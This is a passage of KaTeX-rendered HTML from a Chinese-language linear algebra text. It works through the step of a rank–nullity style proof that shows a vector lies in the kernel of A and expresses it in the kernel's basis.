style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></span></p><p>则有</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>A</mi><mo stretchy="false">(</mo><msub><mi>c</mi><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></msub><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></msub><mo>+</mo><msub><mi>c</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>c</mi><mi>n</mi></msub><msub><mi>v</mi><mi>n</mi></msub><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">A (c_{k+1} v_{k+1} + c_{k+2} v_{k+2} + \ldots + c_n v_n) = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">A</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7917em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></span></p><p>这意味着 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>w</mi><mo>=</mo><msub><mi>c</mi><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></msub><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></msub><mo>+</mo><msub><mi>c</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>c</mi><mi>n</mi></msub><msub><mi>v</mi><mi>n</mi></msub><mo>∈</mo><mi>ker</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> w = c_{k+1} v_{k+1} + c_{k+2} v_{k+2} + \ldots + c_n v_n \in \ker(A) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7917em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7917em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6891em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">ker</span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span></span></span></span>。</p><p>所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>w</mi></mrow><annotation encoding="application/x-tex"> w </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span></span></span></span> 可以表示为核空间基的线性组合：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>w</mi><mo>=</mo><msub><mi>d</mi><mn>1</mn></msub><msub><mi>u</mi><mn>1</mn></msub><mo>+</mo><msub><mi>d</mi><mn>2</mn></msub><msub><mi>u</mi><mn>2</mn></msub><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>d</mi><mi>k</mi></msub><msub><mi>u</mi><mi>k</mi></msub></mrow><annotation encoding="application/x-tex">w = d_1 u_1 + d_2 u_2 + \ldots + d_k u_k </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><p>因此，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>c</mi><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></msub><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></msub><mo>+</mo><msub><mi>c</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>c</mi><mi>n</mi></msub><msub><mi>v</mi><mi>n</mi></msub><mo>−</mo><msub><mi>d</mi><mn>1</mn></msub><msub><mi>u</mi><mn>1</mn></msub><mo>−</mo><msub><mi>d</mi><mn>2</mn></msub><msub><mi>u</mi><mn>2</mn></msub><mo>−</mo><mo>…</mo><mo>−</mo><msub><mi>d</mi><mi>k</mi></msub><msub><mi>u</mi><mi>k</mi></msub><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> c_{k+1} v_{k+1} + c_{k+2} v_{k+2} + \ldots + c_n v_n - d_1 u_1 - d_2 u_2 - \ldots - d_k u_k = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7917em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7917em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></p><p>因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>u</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>u</mi><mn>2</mn></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>u</mi><mi>k</mi></msub><mo separator="true">,</mo><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></msub><mo separator="true">,</mo><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><msub><mi>v</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex"> u_1, u_2, \ldots, u_k, v_{k+1}, v_{k+2}, \ldots, v_n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span 